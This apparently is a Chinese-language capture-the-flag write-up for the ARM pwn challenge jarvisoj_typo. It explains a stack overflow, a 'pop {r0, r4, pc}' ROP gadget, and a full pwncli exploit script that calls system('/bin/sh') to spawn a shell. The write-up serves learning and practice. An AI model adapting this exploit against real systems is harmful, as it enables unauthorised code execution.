[BUUCTF] jarvisoj_typo


目录
  • jarvisoj_typo
    • 总结
    • checksec
    • 漏洞点
    • 利用思路
    • EXP
    • 引用与参考

jarvisoj_typo

总结

根据本题,学习与收获有:

  • arm指令集下的pwn题,和x86没有啥区别,只需要把指令集学明白,技巧都是一样的。
  • practice makes perfect!

checksec

image-20220225210306416

漏洞点

sub_8d24函数中,存在栈溢出:

image-20220225210425758

image-20220225210443879

利用思路

观察以下溢出函数的结束部分:

image-20220225210531381

最后会从栈里面弹一个值到pc寄存器。那么存在栈溢出的时候,只需要控制pc寄存器即可,这里找到一个gadget

0x00020904 : pop {r0, r4, pc}

然后只要找到system函数和/bin/sh字符串即可完成利用。找system还是找exit 0这个字符串。

image-20220225210902689

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

filename = "./typo"
context.binary = filename

def debug(*addrs):
    bps = ""
    for x in addrs:
        bps += f"-ex 'b * {hex(x)}'"
    os.system(f"tmux splitw -h \"gdb-multiarch {filename} -q -ex 'target remote 127.0.0.1:1234' {bps}\"")

bin_sh_addr = context.binary.search(b"/bin/sh").__next__()
payload = flat({
    0x70: [
        0x00020904, # pop r0 r4 pc
        bin_sh_addr,
        0,
        0x110b4 # system
    ]
})


io = process(["qemu-arm-static", "-g", "1234", filename])

debug(0x8de8)

io.recv()

io.send(b"\n")

io.recv()

io.send(payload)

io.interactive()

image-20220225213559367

最后getshell

image-20220225213640268

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli